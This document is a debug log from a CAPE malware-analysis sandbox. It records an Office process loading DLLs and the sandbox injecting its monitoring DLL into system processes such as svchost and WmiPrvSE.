2025-12-08 08:34:27,447 [root] DEBUG: 6768: DLL loaded at 0x08640000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso98win32client (0x1415000 bytes).
2025-12-08 08:34:27,556 [root] DEBUG: 6768: DLL loaded at 0x6CF10000: C:\Program Files (x86)\Common Files\Microsoft Shared\Office16\mso (0x1cbf000 bytes).
2025-12-08 08:34:27,572 [root] DEBUG: 6768: DLL loaded at 0x75540000: C:\Windows\System32\bcryptPrimitives (0x62000 bytes).
2025-12-08 08:34:27,619 [root] DEBUG: 6768: DLL loaded at 0x731F0000: C:\Windows\SYSTEM32\msi (0x2b3000 bytes).
2025-12-08 08:34:27,634 [root] DEBUG: 6768: DLL loaded at 0x72DB0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.22621.2506_none_6eb991c088050a06\Comctl32 (0x228000 bytes).
2025-12-08 08:34:27,650 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Temp\{190C62E0-8338-4298-B5AA-DA9CDB831115} - OProcSessId.dat
2025-12-08 08:34:27,666 [root] DEBUG: 6768: DLL loaded at 0x71320000: C:\Windows\SYSTEM32\d2d1 (0x51b000 bytes).
2025-12-08 08:34:27,697 [root] DEBUG: 6768: DLL loaded at 0x74C50000: C:\Windows\SYSTEM32\wintypes (0xc7000 bytes).
2025-12-08 08:34:27,713 [root] DEBUG: 6768: DLL loaded at 0x74020000: C:\Windows\SYSTEM32\windows.storage (0x6ec000 bytes).
2025-12-08 08:34:27,713 [root] DEBUG: 6768: DLL loaded at 0x76C50000: C:\Windows\System32\SHCORE (0xc1000 bytes).
2025-12-08 08:34:27,713 [root] DEBUG: 6768: DLL loaded at 0x73A00000: C:\Windows\SYSTEM32\profapi (0x1d000 bytes).
2025-12-08 08:34:27,728 [root] DEBUG: 6768: DLL loaded at 0x74D40000: C:\Windows\system32\uxtheme (0x7f000 bytes).
2025-12-08 08:34:27,728 [root] DEBUG: 6768: DLL loaded at 0x76D20000: C:\Windows\System32\MSCTF (0xfc000 bytes).
2025-12-08 08:34:27,743 [root] DEBUG: 6768: DLL loaded at 0x739B0000: C:\Windows\SYSTEM32\WINSTA (0x4f000 bytes).
2025-12-08 08:34:27,743 [root] DEBUG: 6768: DLL loaded at 0x73120000: C:\Windows\SYSTEM32\dxgi (0xca000 bytes).
2025-12-08 08:34:27,743 [root] DEBUG: 6768: DLL loaded at 0x73980000: C:\Windows\SYSTEM32\dxcore (0x2d000 bytes).
2025-12-08 08:34:27,759 [root] DEBUG: 6768: DLL loaded at 0x73970000: C:\Windows\SYSTEM32\resourcepolicyclient (0x10000 bytes).
2025-12-08 08:34:27,759 [root] DEBUG: 6768: DLL loaded at 0x73940000: C:\Windows\SYSTEM32\directxdatabasehelper (0x3c000 bytes).
2025-12-08 08:34:27,759 [root] DEBUG: 6768: set_hooks_by_export_directory: Hooked 0 out of 434 functions
2025-12-08 08:34:27,759 [root] DEBUG: 6768: DLL loaded at 0x74F30000: C:\Windows\SYSTEM32\kernel.appcore (0x13000 bytes).
2025-12-08 08:34:27,775 [root] DEBUG: 6768: DLL loaded at 0x74FB0000: C:\Windows\SYSTEM32\VERSION (0x8000 bytes).
2025-12-08 08:34:27,790 [root] DEBUG: 6768: DLL loaded at 0x738F0000: C:\Windows\SYSTEM32\POWRPROF (0x45000 bytes).
2025-12-08 08:34:27,790 [root] DEBUG: 6768: DLL loaded at 0x73110000: C:\Windows\SYSTEM32\UMPDC (0xe000 bytes).
2025-12-08 08:34:27,838 [root] DEBUG: 6768: DLL loaded at 0x710E0000: C:\Windows\SYSTEM32\d3d11 (0x238000 bytes).
2025-12-08 08:34:27,853 [root] DEBUG: 6768: DLL loaded at 0x6C910000: C:\Windows\SYSTEM32\d3d10warp (0x5f1000 bytes).
2025-12-08 08:34:27,868 [root] DEBUG: 6768: DLL loaded at 0x73100000: C:\Windows\SYSTEM32\Secur32 (0xa000 bytes).
2025-12-08 08:34:27,884 [root] DEBUG: 6768: DLL loaded at 0x76130000: C:\Windows\System32\clbcatq (0x82000 bytes).
2025-12-08 08:34:27,884 [root] DEBUG: 6768: DLL loaded at 0x77280000: C:\Windows\System32\Normaliz (0x7000 bytes).
2025-12-08 08:34:27,900 [root] DEBUG: 6768: DLL loaded at 0x70EB0000: C:\Windows\SYSTEM32\DWrite (0x224000 bytes).
2025-12-08 08:34:27,900 [root] DEBUG: 6768: DLL loaded at 0x730A0000: C:\Windows\System32\netprofm (0x5c000 bytes).
2025-12-08 08:34:27,915 [root] DEBUG: 6768: DLL loaded at 0x72D50000: C:\Windows\SYSTEM32\mscoree (0x55000 bytes).
2025-12-08 08:34:27,931 [root] DEBUG: 6768: DLL loaded at 0x6C810000: C:\Windows\System32\Windows.Security.Authentication.Web.Core (0xf8000 bytes).
2025-12-08 08:34:27,931 [root] DEBUG: 6768: DLL loaded at 0x70E20000: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei (0x88000 bytes).
2025-12-08 08:34:27,931 [root] DEBUG: 6768: DLL loaded at 0x73090000: C:\Windows\System32\npmproxy (0xf000 bytes).
2025-12-08 08:34:27,947 [root] DEBUG: 6768: DLL loaded at 0x6C5D0000: C:\Windows\System32\iertutil (0x238000 bytes).
2025-12-08 08:34:27,962 [root] DEBUG: 6768: DLL loaded at 0x6C4F0000: C:\Windows\SYSTEM32\WINHTTP (0xdd000 bytes).
2025-12-08 08:34:27,962 [root] DEBUG: 6768: DLL loaded at 0x6C420000: C:\Program Files (x86)\Microsoft Office\root\Office16\MsoAria (0xcd000 bytes).
2025-12-08 08:34:27,978 [root] DEBUG: 6768: DLL loaded at 0x73070000: C:\Windows\system32\OnDemandConnRouteHelper (0x14000 bytes).
2025-12-08 08:34:27,978 [lib.api.process] INFO: Monitor config for <Process 844 svchost.exe>: C:\tmp65phiig4\dll\844.ini
2025-12-08 08:34:27,978 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:27,978 [root] DEBUG: 6768: DLL loaded at 0x70DD0000: C:\Windows\System32\OneCoreCommonProxyStub (0x46000 bytes).
2025-12-08 08:34:27,978 [root] DEBUG: 6768: DLL loaded at 0x72D20000: C:\Windows\SYSTEM32\slc (0x2d000 bytes).
2025-12-08 08:34:27,993 [root] DEBUG: 6768: DLL loaded at 0x74F50000: C:\Windows\system32\mswsock (0x51000 bytes).
2025-12-08 08:34:27,993 [root] DEBUG: Loader: Injecting process 844 with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:27,993 [root] DEBUG: 844: Python path set to 'C:\Python38'.
2025-12-08 08:34:27,993 [root] INFO: Disabling sleep skipping.
2025-12-08 08:34:27,993 [root] DEBUG: 844: Dropped file limit defaulting to 100.
2025-12-08 08:34:27,993 [root] DEBUG: 844: Services hook set enabled
2025-12-08 08:34:27,993 [root] DEBUG: 844: GetAddressByYara: ModuleBase 0x00007FFCDC350000 FunctionName RtlInsertInvertedFunctionTable
2025-12-08 08:34:28,009 [root] DEBUG: 844: RtlInsertInvertedFunctionTable 0x00007FFCDC37BBFA, LdrpInvertedFunctionTableSRWLock 0x00007FFCDC4D70F0
2025-12-08 08:34:28,009 [root] DEBUG: 6768: DLL loaded at 0x6C1A0000: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\RICHED20 (0x280000 bytes).
2025-12-08 08:34:28,025 [root] DEBUG: 844: AmsiDumper initialised.
2025-12-08 08:34:28,025 [root] DEBUG: 6768: DLL loaded at 0x73050000: C:\Windows\System32\vaultcli (0x3e000 bytes).
2025-12-08 08:34:28,025 [root] DEBUG: 844: Monitor initialised: 64-bit capemon loaded in process 844 at 0x00007FFCAE780000, thread 6752, image base 0x00007FF6D10B0000, stack from 0x000000D631B75000-0x000000D631B80000
2025-12-08 08:34:28,025 [root] DEBUG: 844: Commandline: C:\Windows\system32\svchost.exe -k DcomLaunch -p
2025-12-08 08:34:28,025 [root] DEBUG: 6768: DLL loaded at 0x72D40000: C:\Windows\SYSTEM32\WINNSI (0xa000 bytes).
2025-12-08 08:34:28,025 [root] DEBUG: 6768: DLL loaded at 0x75330000: C:\Windows\System32\NSI (0x7000 bytes).
2025-12-08 08:34:28,025 [root] DEBUG: 844: hook_api: Warning - CoCreateInstance export address 0x00007FFCDBCB7EF9 differs from GetProcAddress -> 0x00007FFCDBD92050 (combase.dll::0x42050)
2025-12-08 08:34:28,025 [root] DEBUG: 844: hook_api: Warning - CoCreateInstanceEx export address 0x00007FFCDBCB7F38 differs from GetProcAddress -> 0x00007FFCDBD6CC40 (combase.dll::0x1cc40)
2025-12-08 08:34:28,025 [root] DEBUG: 844: hook_api: Warning - CoGetClassObject export address 0x00007FFCDBCB84C8 differs from GetProcAddress -> 0x00007FFCDBE19870 (combase.dll::0xc9870)
2025-12-08 08:34:28,041 [root] DEBUG: 6768: DLL loaded at 0x6C110000: C:\Windows\System32\Windows.Web (0x8e000 bytes).
2025-12-08 08:34:28,041 [root] DEBUG: 844: Hooked 69 out of 69 functions
2025-12-08 08:34:28,056 [root] INFO: Loaded monitor into process with pid 844
2025-12-08 08:34:28,056 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-08 08:34:28,056 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:28,072 [root] DEBUG: 6768: DLL loaded at 0x6C0A0000: C:\Windows\System32\MicrosoftAccountWAMExtension (0x6b000 bytes).
2025-12-08 08:34:28,072 [lib.api.process] INFO: Injected into 64-bit <Process 844 svchost.exe>
2025-12-08 08:34:28,072 [root] DEBUG: 6768: DLL loaded at 0x6C070000: C:\Windows\SYSTEM32\XmlLite (0x2b000 bytes).
2025-12-08 08:34:28,087 [root] DEBUG: 6768: api-rate-cap: NtQueryPerformanceCounter hook disabled due to rate
2025-12-08 08:34:28,087 [root] DEBUG: 6768: DLL loaded at 0x6BF60000: C:\Windows\System32\Windows.UI (0x10a000 bytes).
2025-12-08 08:34:28,103 [root] DEBUG: 6768: DLL loaded at 0x6BF30000: C:\Windows\System32\aadWamExtension (0x2e000 bytes).
2025-12-08 08:34:28,103 [root] DEBUG: 6768: hook_api: NetUserGetInfo export address 0x72D2E7D1 obtained via GetFunctionAddress
2025-12-08 08:34:28,103 [root] DEBUG: 6768: hook_api: NetGetJoinInformation export address 0x72D2D826 obtained via GetFunctionAddress
2025-12-08 08:34:28,103 [root] DEBUG: 6768: hook_api: NetUserGetLocalGroups export address 0x72D2E7FD obtained via GetFunctionAddress
2025-12-08 08:34:28,103 [root] DEBUG: 6768: hook_api: DsEnumerateDomainTrustsW export address 0x72D2C249 obtained via GetFunctionAddress
2025-12-08 08:34:28,103 [root] DEBUG: 6768: DLL loaded at 0x72D20000: C:\Windows\SYSTEM32\netapi32 (0x14000 bytes).
2025-12-08 08:34:28,119 [root] DEBUG: 6768: DLL loaded at 0x6BE10000: C:\Windows\SYSTEM32\DSREG (0x11a000 bytes).
2025-12-08 08:34:28,134 [root] DEBUG: 6768: DLL loaded at 0x750A0000: C:\Windows\SYSTEM32\dhcpcsvc6 (0x16000 bytes).
2025-12-08 08:34:28,150 [root] DEBUG: 6768: DLL loaded at 0x6BE00000: C:\Windows\System32\Windows.UI.Immersive (0x122000 bytes).
2025-12-08 08:34:28,166 [root] DEBUG: 6768: DLL loaded at 0x6BC10000: C:\Windows\System32\twinapi.appcore (0x1eb000 bytes).
2025-12-08 08:34:28,181 [root] DEBUG: 6768: DLL loaded at 0x75080000: C:\Windows\SYSTEM32\dhcpcsvc (0x17000 bytes).
2025-12-08 08:34:28,181 [root] DEBUG: 6768: DLL loaded at 0x72D30000: C:\Windows\SYSTEM32\DPAPI (0x8000 bytes).
2025-12-08 08:34:28,197 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres
2025-12-08 08:34:28,197 [root] DEBUG: 6768: DLL loaded at 0x6BA40000: C:\Windows\SYSTEM32\srvcli (0x1d000 bytes).
2025-12-08 08:34:28,197 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e1d3d0538af180de70c8259a1c129c676ec8cbe4.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\e1d3d0538af180de70c8259a1c129c676ec8cbe4.tbres'
2025-12-08 08:34:28,197 [root] INFO: Error dumping file from path "C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e1d3d0538af180de70c8259a1c129c676ec8cbe4.tbres": [Errno 13] Permission denied: 'C:\\Users\\user\\AppData\\Local\\Microsoft\\TokenBroker\\Cache\\e1d3d0538af180de70c8259a1c129c676ec8cbe4.tbres'
2025-12-08 08:34:28,197 [root] DEBUG: 6768: DLL loaded at 0x72D20000: C:\Windows\SYSTEM32\netutils (0xb000 bytes).
2025-12-08 08:34:28,212 [root] DEBUG: 6768: DLL loaded at 0x6BA60000: C:\Windows\SYSTEM32\urlmon (0x1a2000 bytes).
2025-12-08 08:34:28,212 [root] DEBUG: 6768: api-rate-cap: RtlSetCurrentTransaction hook disabled due to rate
2025-12-08 08:34:29,198 [root] DEBUG: 844: DLL loaded at 0x00007FFCC5C50000: c:\windows\system32\NduProv (0x42000 bytes).
2025-12-08 08:34:29,214 [root] DEBUG: 844: CreateProcessHandler: Injection info set for new process 7032: C:\Windows\system32\BackgroundTaskHost.exe, ImageBase: 0x00007FF70A920000
2025-12-08 08:34:29,214 [root] INFO: Announced 64-bit process name: backgroundTaskHost.exe pid: 7032
2025-12-08 08:34:29,214 [lib.api.process] INFO: Monitor config for <Process 7032 backgroundTaskHost.exe>: C:\tmp65phiig4\dll\7032.ini
2025-12-08 08:34:29,214 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:29,214 [root] DEBUG: Loader: Injecting process 7032 (thread 1532) with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,214 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:34:29,214 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,214 [lib.api.process] INFO: Injected into 64-bit <Process 7032 backgroundTaskHost.exe>
2025-12-08 08:34:29,230 [root] DEBUG: 844: DLL loaded at 0x00007FFCD6A30000: C:\Windows\system32\apphelp (0x97000 bytes).
2025-12-08 08:34:29,230 [root] INFO: Announced 64-bit process name: backgroundTaskHost.exe pid: 7032
2025-12-08 08:34:29,230 [lib.api.process] INFO: Monitor config for <Process 7032 backgroundTaskHost.exe>: C:\tmp65phiig4\dll\7032.ini
2025-12-08 08:34:29,230 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:29,230 [root] DEBUG: Loader: Injecting process 7032 (thread 1532) with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,230 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:34:29,230 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,245 [lib.api.process] INFO: Injected into 64-bit <Process 7032 backgroundTaskHost.exe>
2025-12-08 08:34:29,245 [root] DEBUG: 844: CreateProcessHandler: Injection info set for new process 5416: C:\Windows\system32\BackgroundTaskHost.exe, ImageBase: 0x00007FF70A920000
2025-12-08 08:34:29,261 [root] INFO: Announced 64-bit process name: backgroundTaskHost.exe pid: 5416
2025-12-08 08:34:29,261 [lib.api.process] INFO: Monitor config for <Process 5416 backgroundTaskHost.exe>: C:\tmp65phiig4\dll\5416.ini
2025-12-08 08:34:29,261 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:29,261 [root] DEBUG: Loader: Injecting process 5416 (thread 2512) with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,261 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:34:29,261 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,261 [lib.api.process] INFO: Injected into 64-bit <Process 5416 backgroundTaskHost.exe>
2025-12-08 08:34:29,261 [root] INFO: Announced 64-bit process name: backgroundTaskHost.exe pid: 5416
2025-12-08 08:34:29,261 [lib.api.process] INFO: Monitor config for <Process 5416 backgroundTaskHost.exe>: C:\tmp65phiig4\dll\5416.ini
2025-12-08 08:34:29,261 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:29,277 [root] DEBUG: Loader: Injecting process 5416 (thread 2512) with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,277 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:34:29,277 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:29,277 [lib.api.process] INFO: Injected into 64-bit <Process 5416 backgroundTaskHost.exe>
2025-12-08 08:34:29,277 [root] INFO: Process with pid 5416 has terminated
2025-12-08 08:34:30,090 [lib.api.process] INFO: Monitor config for <Process 1676 svchost.exe>: C:\tmp65phiig4\dll\1676.ini
2025-12-08 08:34:30,090 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:30,090 [root] DEBUG: Loader: Injecting process 1676 with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:30,090 [root] DEBUG: 1676: Python path set to 'C:\Python38'.
2025-12-08 08:34:30,090 [root] INFO: Disabling sleep skipping.
2025-12-08 08:34:30,090 [root] DEBUG: 1676: Dropped file limit defaulting to 100.
2025-12-08 08:34:30,090 [root] DEBUG: 1676: Services hook set enabled
2025-12-08 08:34:30,090 [root] DEBUG: 1676: GetAddressByYara: ModuleBase 0x00007FFCDC350000 FunctionName RtlInsertInvertedFunctionTable
2025-12-08 08:34:30,106 [root] DEBUG: 1676: RtlInsertInvertedFunctionTable 0x00007FFCDC37BBFA, LdrpInvertedFunctionTableSRWLock 0x00007FFCDC4D70F0
2025-12-08 08:34:30,106 [root] DEBUG: 1676: AmsiDumper initialised.
2025-12-08 08:34:30,106 [root] DEBUG: 1676: Monitor initialised: 64-bit capemon loaded in process 1676 at 0x00007FFCAE780000, thread 5320, image base 0x00007FF6D10B0000, stack from 0x000000A3E2A75000-0x000000A3E2A80000
2025-12-08 08:34:30,106 [root] DEBUG: 1676: Commandline: C:\Windows\system32\svchost.exe -k netsvcs -p
2025-12-08 08:34:30,106 [root] DEBUG: 1676: hook_api: Warning - CoCreateInstance export address 0x00007FFCDBCB7EF9 differs from GetProcAddress -> 0x00007FFCDBD92050 (combase.dll::0x42050)
2025-12-08 08:34:30,106 [root] DEBUG: 1676: hook_api: Warning - CoCreateInstanceEx export address 0x00007FFCDBCB7F38 differs from GetProcAddress -> 0x00007FFCDBD6CC40 (combase.dll::0x1cc40)
2025-12-08 08:34:30,106 [root] DEBUG: 1676: hook_api: Warning - CoGetClassObject export address 0x00007FFCDBCB84C8 differs from GetProcAddress -> 0x00007FFCDBE19870 (combase.dll::0xc9870)
2025-12-08 08:34:30,106 [root] DEBUG: 1676: Hooked 69 out of 69 functions
2025-12-08 08:34:30,106 [root] INFO: Loaded monitor into process with pid 1676
2025-12-08 08:34:30,106 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2025-12-08 08:34:30,106 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:30,121 [lib.api.process] INFO: Injected into 64-bit <Process 1676 svchost.exe>
2025-12-08 08:34:52,229 [root] DEBUG: 6768: set_hooks_by_export_directory: Hooked 0 out of 434 functions
2025-12-08 08:34:52,229 [root] DEBUG: 6768: DLL loaded at 0x6BA20000: C:\Windows\SYSTEM32\sppcs (0x1f000 bytes).
2025-12-08 08:34:52,229 [root] DEBUG: 6768: DLL loaded at 0x70DC0000: C:\Windows\SYSTEM32\sppc (0x9000 bytes).
2025-12-08 08:34:52,245 [root] DEBUG: 6768: DLL loaded at 0x6B590000: C:\Windows\SYSTEM32\WININET (0x488000 bytes).
2025-12-08 08:34:52,261 [root] DEBUG: 6768: DLL loaded at 0x6B510000: C:\Windows\SYSTEM32\wbemcomn (0x67000 bytes).
2025-12-08 08:34:52,261 [root] DEBUG: 6768: DLL loaded at 0x6B580000: C:\Windows\system32\wbem\wbemprox (0xe000 bytes).
2025-12-08 08:34:52,276 [root] DEBUG: 1676: DLL loaded at 0x00007FFCCCE20000: C:\Windows\system32\wbem\wbemsvc (0x14000 bytes).
2025-12-08 08:34:52,323 [root] DEBUG: 6768: DLL loaded at 0x6A8B0000: C:\Program Files (x86)\Microsoft Office\root\Office16\oart (0xc5e000 bytes).
2025-12-08 08:34:52,323 [root] DEBUG: 6768: DLL loaded at 0x6A890000: C:\Windows\system32\wbem\wbemsvc (0x11000 bytes).
2025-12-08 08:34:52,338 [root] DEBUG: 6768: DLL loaded at 0x6A740000: C:\Windows\System32\msvcp110_win (0x67000 bytes).
2025-12-08 08:34:52,338 [root] DEBUG: 6768: DLL loaded at 0x6A7B0000: C:\Windows\System32\policymanager (0x90000 bytes).
2025-12-08 08:34:52,354 [root] DEBUG: 6768: DLL loaded at 0x6A840000: C:\Windows\System32\WindowsDefenderApplicationGuardCSP (0x29000 bytes).
2025-12-08 08:34:52,354 [root] DEBUG: 6768: DLL loaded at 0x6A870000: C:\Windows\System32\HvsiManagementApi (0x1b000 bytes).
2025-12-08 08:34:52,354 [root] DEBUG: 6768: DLL loaded at 0x6A720000: C:\Windows\SYSTEM32\ondemandconnroutehelper (0x14000 bytes).
2025-12-08 08:34:52,370 [root] DEBUG: 6768: DLL loaded at 0x6A650000: C:\Windows\system32\wbem\fastprox (0xcc000 bytes).
2025-12-08 08:34:52,386 [root] DEBUG: 6768: DLL loaded at 0x6A620000: C:\Windows\SYSTEM32\Cabinet (0x21000 bytes).
2025-12-08 08:34:52,386 [root] DEBUG: 6768: DLL loaded at 0x6A5E0000: C:\Windows\SYSTEM32\d3d10_1core (0xc000 bytes).
2025-12-08 08:34:52,401 [root] DEBUG: 6768: DLL loaded at 0x6A5F0000: C:\Windows\SYSTEM32\d3d10_1 (0x2b000 bytes).
2025-12-08 08:34:52,401 [root] DEBUG: 6768: DLL loaded at 0x6A550000: C:\Windows\SYSTEM32\webio (0x8f000 bytes).
2025-12-08 08:34:52,417 [root] DEBUG: 6768: DLL loaded at 0x6A530000: C:\Windows\SYSTEM32\amsi (0x15000 bytes).
2025-12-08 08:34:52,417 [root] DEBUG: 6768: DLL loaded at 0x6A500000: C:\Windows\SYSTEM32\dwmapi (0x24000 bytes).
2025-12-08 08:34:52,433 [root] DEBUG: 6768: DLL loaded at 0x74FC0000: C:\Windows\SYSTEM32\DNSAPI (0xbc000 bytes).
2025-12-08 08:34:52,448 [root] DEBUG: 6768: DLL loaded at 0x6A490000: C:\Program Files (x86)\Windows Defender\MpOav (0x6b000 bytes).
2025-12-08 08:34:52,448 [root] DEBUG: 6768: DLL loaded at 0x6A480000: C:\Windows\System32\rasadhlp (0x8000 bytes).
2025-12-08 08:34:52,464 [root] DEBUG: 6768: DLL loaded at 0x6A3E0000: C:\Windows\SYSTEM32\TextShaping (0x95000 bytes).
2025-12-08 08:34:52,464 [root] DEBUG: 6768: DLL loaded at 0x6A2E0000: C:\Windows\SYSTEM32\webservices (0xfb000 bytes).
2025-12-08 08:34:52,495 [root] INFO: Added new file to list with pid None and path C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData2.xml
2025-12-08 08:34:52,511 [root] DEBUG: 6768: DLL loaded at 0x6A1E0000: C:\Windows\SYSTEM32\textinputframework (0xf9000 bytes).
2025-12-08 08:34:52,511 [root] DEBUG: 844: CreateProcessHandler: Injection info set for new process 4068: C:\Windows\system32\wbem\wmiprvse.exe, ImageBase: 0x00007FF7E4E30000
2025-12-08 08:34:52,526 [root] INFO: Announced 64-bit process name: WmiPrvSE.exe pid: 4068
2025-12-08 08:34:52,526 [lib.api.process] INFO: Monitor config for <Process 4068 WmiPrvSE.exe>: C:\tmp65phiig4\dll\4068.ini
2025-12-08 08:34:52,526 [root] DEBUG: 6768: DLL loaded at 0x6A140000: C:\Windows\system32\twinapi (0x9d000 bytes).
2025-12-08 08:34:52,526 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:52,573 [root] DEBUG: Loader: Injecting process 4068 (thread 4728) with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:52,573 [root] DEBUG: 6768: api-rate-cap: NtWaitForSingleObject hook disabled due to rate
2025-12-08 08:34:52,573 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2025-12-08 08:34:52,573 [root] DEBUG: 6768: api-rate-cap: NtWaitForSingleObject hook disabled due to rate
2025-12-08 08:34:52,573 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:52,573 [root] DEBUG: 6768: api-rate-cap: GetSystemTimeAsFileTime hook disabled due to rate
2025-12-08 08:34:52,620 [lib.api.process] INFO: Injected into 64-bit <Process 4068 WmiPrvSE.exe>
2025-12-08 08:34:52,620 [root] INFO: Announced 64-bit process name: WmiPrvSE.exe pid: 4068
2025-12-08 08:34:52,620 [lib.api.process] INFO: Monitor config for <Process 4068 WmiPrvSE.exe>: C:\tmp65phiig4\dll\4068.ini
2025-12-08 08:34:52,620 [lib.api.process] INFO: 64-bit DLL to inject is C:\tmp65phiig4\dll\DZbKUl.dll, loader C:\tmp65phiig4\bin\upsVrGlX.exe
2025-12-08 08:34:52,667 [root] DEBUG: Loader: Injecting process 4068 (thread 4728) with C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:52,667 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2025-12-08 08:34:52,667 [root] DEBUG: Successfully injected DLL C:\tmp65phiig4\dll\DZbKUl.dll.
2025-12-08 08:34:52,714 [lib.api.process] INFO: Injected into 64-bit <Process 4068 WmiPrvSE.exe>
2025-12-08 08:34:52,714 [root] DEBUG: 6768: DLL loaded at 0x6A100000: C:\Windows\SYSTEM32\CFGMGR32 (0x3d000 bytes).
2025-12-08 08:34:52,729 [root] DEBUG: 4068: Python path set to 'C:\Python38'.
2025-12-08 08:34:52,729 [root] DEBUG: 4068: Dropped file limit defaulting to 100.
2025-12-08 08:34:52,729 [root] DEBUG: 6768: DLL loaded at 0x6A0A0000: C:\Windows\System32\Windows.StateRepositoryPS (0x5f000 bytes).
2025-12-08 08:34:52,729 [root] INFO: Disabling sleep skipping.
2025-12-08 08:34:52,745 [root] DEBUG: 4068: Services hook set enabled
2025-12-08 08:34:52,745 [root] DEBUG: 6768: DLL loaded at 0x6A080000: C:\Windows\SYSTEM32\MPR (0x19000 bytes).
2025-12-08 08:34:52,745 [root] DEBUG: 4068: GetAddressByYara: ModuleBase 0x00007FFCDC350000 FunctionName RtlInsertInvertedFunctionTable
2025-12-08 08:34:52,761 [root] DEBUG: 4068: RtlInsertInvertedFunctionTable 0x00007FFCDC37BBFA, LdrpInvertedFunctionTableSRWLock 0x00007FFCDC4D70F0
2025-12-08 08:34:52,761 [root] DEBUG: 6768: DLL loaded at 0x6A060000: C:\Windows\SYSTEM32\virtdisk (0x12000 bytes).
2025-12-08 08:34:52,761 [root] DEBUG: Error 5 (0x5) - AmsiDumper: Is CAPE agent running elevated? Initialisation failed: Access is denied.
2025-12-08 08:34:52,761 [root] DEBUG: 4068: Monitor initialised: 64-bit capemon loaded in process 4068 at 0x00007FFCAE780000, thread 4728, image base 0x00007FF7E4E30000, stack from 0x0000005A46280000-0x0000005A46290000
2025-12-08 08:34:52,761 [root] DEBUG: 4068: Commandline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
2025-12-08 08:34:52,761 [root] DEBUG: 4068: hook_api: Warning - CoCreateInstance export address 0x00007FFCDBCB7EF9 differs from GetProcAddress -> 0x00007FFCDBD92050 (combase.dll::0x42050)
2025-12-08 08:34:52,761 [root] DEBUG: 4068: hook_api: Warning - CoCreateInstanceEx export address 0x00007FFCDBCB7F38 differs from GetProcAddress -> 0x00007FFCDBD6CC40 (combase.dll::0x1cc40)
2025-12-08 08:34:52,761 [root] DEBUG: 4068: hook_api: Warning - CoGetClassObject export address 0x00007FFCDBCB84C8 differs from GetProcAddress -> 0x00007FFCDBE19870 (combase.dll::0xc9870)
2025-12-08 08:34:52,776 [root] DEBUG: 4068: Hooked 69 out of 69 functions
2025-12-08 08:34:52,776 [root] INFO: Loaded monitor into process with pid 4068
2025-12-08 08:34:52,776 [root] DEBUG: 6768: DLL loaded at 0x75360000: C:\Windows\System32\coml2 (0x62000 bytes).
2025-12-08 08:34:52,776 [root] DEBUG: 4068: set_hooks_by_export_directory: Hooked 0 out of 69 functions
